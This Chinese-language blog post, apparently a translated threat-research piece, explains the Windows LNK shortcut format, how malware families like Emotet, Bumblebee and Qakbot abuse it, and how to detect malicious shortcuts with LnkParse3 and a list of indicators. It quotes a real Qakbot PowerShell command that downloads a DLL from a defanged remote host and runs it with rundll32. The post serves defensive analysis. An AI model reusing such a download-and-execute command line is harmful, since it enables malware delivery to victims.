LNK 文件基于 Shell Link Binary 文件格式,也称为Windows 快捷方式。但是,在系统上执行其他二进制文件的看似相对简单的能力在被威胁行为者滥用时可能会造成巨大伤害。
Microsoft 决定 在 Office 应用程序中默认阻止从 Internet 下载的文件的宏,这促使恶意软件开发人员转向其他技术。威胁参与者已经确定了在不同攻击阶段使用 LNK 文件的潜在利润,因为我们预计会看到使用 LNK 文件的攻击数量增加 ,例如Bumblebee 和Quantum Ransomware。
在此博客中,我们将介绍文件格式,以更好地了解威胁参与者如何在不同的攻击阶段使用 LNK 文件。通过熟悉 LNK(Shell Link)文件格式及其功能,我们将介绍在事件响应和威胁搜寻过程中检查和检测恶意 LNK 文件的开源工具和方法。
什么是 LNK 文件格式?
组成 shell 链接二进制 (LNK) 文件的五个结构。
根据 Microsoft关于 Shell Link Binary 文件的文档,存储 Shell Link Binary 文件的最常用方法是使用 .lnk 文件扩展名。LNK 文件包含对系统上称为链接目标的位置的引用。该格式由五个结构组成:一些是强制性的,而另一些是可选的。我们不会涵盖结构中的每个参数,而是重点介绍有助于识别可疑 LNK 文件的参数。
- SHELL_LINK_HEADER------ 这是一个强制结构,包含文件中其余结构所需的信息和标志。
LinkFlags 结构特定,文件中存在哪些 shell 链接结构(如下所述)。例如,如果设置了HasRelativePath 标志,STRING_DATA 结构中的 RELATIVE_PATH 将包含相关信息。
FileAttributesFlags 结构包含有关链接目标属性的信息。例如,如果设置了 FILE_ATTRIBUTE_DIRECTORY 位,则目标是目录而不是文件。此结构中的字段可以提供有关链接目标的更多上下文,这有助于调查过程。
访问、创建和写入时间:作为事件响应过程的一部分,这对于确定文件的创建和修改时间很有用。
HotKeyFlags 结构指定将调用应用程序的键组合。
- LINKTARGET_IDLIST -- 使用ItemID 结构指定链接的目标。
- LINKINFO------ 保存有关链接目标位置的信息,包括卷、序列号和本地路径。
- STRING_DATA -- 保存有关链接目标的路径和接口的信息。这些结构是可选的,只有在 LinkFlags(在 ShellLinkHeader 中)中设置了适当的标志时它们才会出现。以下结构可用于识别恶意 LNK 文件:
RELATIVE_PATH:定义链接目标相对于包含 shell 链接的文件的位置。
WORKING_DIR:定义激活链接目标时要使用的工作目录的文件系统路径。
COMMAND_LINE_ARGUMENTS:存储激活链接目标时指定的命令行参数。
- EXTRA_DATA------ 可选结构包含关于链接目标的附加信息。在所有可能的结构中,以下结构在调查中非常有用:
如果链接目标使用环境变量,则EnvironmentVariableDataBlock 结构将保存环境变量信息的路径。
TrackerDataBlock:此结构包含有助于定位链接目标的信息(如果未在其原始位置找到链接目标)。其中一个字段是最后一次看到链接目标的机器的 MAC 地址。如果 LNK 文件中指定的 MAC 地址与主机的 MAC 地址不匹配,则意味着 LNK 是在另一台机器上创建的。因此,我们需要了解它是组织内的机器还是授权实体,或者文件是否由攻击者创建和删除。
威胁行为者如何使用 LNK 文件
LNK 文件可以根据文件创建者提供的配置,使用参数(路径、参数等)执行系统上的任何文件。LNK 文件的内容------它将执行什么以及如何执行------可以使用不同的工具查看,或者只需右键单击它以打开文件的属性窗口。但是大多数用户在执行之前不会检查每个 LNK 文件。本质上,LNK 文件为攻击者提供了一种执行恶意二进制文件或受信任的离地二进制文件 ( LolBins ) 的简便方法。
使用属性窗口检查 LNK 文件。
通常,LNK 文件用于攻击的传递阶段。此阶段的目标是部署下一阶段的攻击或执行恶意软件。将恶意文件传送到端点的方法之一是使用存档文件,根据惠普 2022 年第二季度的报告,攻击者开始更广泛地使用这种技术。最近,攻击者开始使用 LNK 文件作为下载器,而不是打包恶意文件存档中的代码或使用其他文件格式,例如宏。为了执行攻击,LNK 文件被设置为使用预定义参数执行 PowerShell、VBScript 或 MSHTA,或者执行来自与 LNK 文件一起删除的另一个文件的命令。
Emotet files pretending to be word documents.) 在发送给受害者的网络钓鱼电子邮件中使用了这种技术,其中包括一个受密码保护的 zip 文件,其中包含一个伪装成 Word 文档的 LNK 文件,该文件执行一个下载恶意软件的 VBS 脚本。
Bumblebee是一种新的高级加载程序,它使用 LNK 文件作为攻击流程的一部分。到目前为止,它有两个版本,一个是交付的 ISO 文件,另一个是 VHD。在这两种情况下,都会包含一个 LNK 文件。在第一个版本中,LNK 执行附带的 DLL,其中包含恶意负载。更高版本更高级,LNK 文件执行附加的 PowerShell 文件,该文件加载加载器的第二阶段。
一些恶意软件开发人员更进一步,创建了一个名为Quantum的用于创建恶意 LNK 文件的工具,该工具在暗网上出售。它允许其他犯罪分子创建具有额外功能(例如 UAC 绕过、延迟执行、执行后隐藏和各种双重扩展名)的恶意文件。
如何分析检测恶意LNK文件
在事件响应或威胁搜寻过程中,当我们有可疑文件时,我们可以选择进行静态分析或动态分析(或两者)。在沙盒或 VM 中执行 LNK 文件可以极大地帮助识别可疑活动。然而,正如我们在上面的例子中看到的,一些攻击依赖于 LNK 文件将执行的额外文件和参数。在这种情况下,我们需要在测试环境中拥有所有相关文件,但这并不总是可行的,因此我们将继续进行静态分析。
有多种应用程序和工具可以检查 LNK 文件的结构。在本文中,我们将使用LnkParse3,这是一个基于 python3 的简约 CLI 工具,易于安装和使用。解析结果以类似于上述 LNK 结构的格式呈现。
根据先前报告的攻击中使用的 LNK 文件,我们收集了有助于识别可疑 LNK 文件的指标。可以使用 LnkParse3 等工具从 LNK 文件中提取此信息:
指向可用于执行脚本和打开 URL 的合法 Windows 工具的本地基本路径:cmd、rundll32、PowerShell、MSHTA。
可疑的命令行参数包含:
exec、frombase64、ping、VBScript 等命令。
大量命令行参数------通常指定命令行参数的恶意 LNK 文件会有四个以上的参数。最重要的是,参数可以被混淆或包含不是字母或数字的字符。但在某些情况下,Web 浏览器等合法文件可以运行带有许多参数的进程,从而导致快捷方式文件带有许多命令行参数。在这种情况下,target 和 working_dir 位置对于命令行参数的分析和检查非常有帮助。
网络协议和 URL,例如 HTTP、HTTPS 和 IP 地址。
文件大小相对较大------这表明它包含大量数据,可能是脚本。我们注意到大于 4 KB 的文件应被视为可疑文件。
例如,下面是Qakbot 使用的 LNK 文件的内容。它从远程位置下载 DLL 并执行它。
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit iwr -Uri
hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png -OutFile
$env:TEMP\test.dll;Start-Process rundll32.exe $env:TEMP\test.dll,jhbvygftr"
然后我们可以使用 URL 信誉工具进行分析,以确认 LNK 文件打开了恶意链接。
URL 扫描器显示由 .lnk 文件打开的恶意链接。
一些指标可能会根据组织中的常见情况而有所不同,例如,执行合法脚本的大型 LNK 文件是否很常见。在这种情况下,需要为组织量身定制指标,但总体而言,恶意 LNK 文件具有可识别的模式。
一旦我们将 LNK 文件归类为可疑文件,我们就应该检查可执行文件和正在执行的命令,并确定该文件的用途是什么以及端点是否遭到破坏。
结论
随着威胁参与者越来越多地使用 LNK 文件,防御者和事件响应者必须了解这些文件可以做什么以及如何解决这些文件。在这篇博客中,我们介绍了可以揭示可疑指标的文件格式部分,然后我们展示了现实生活中的例子,并展示了一个可用于检查 LNK 文件的开源工具。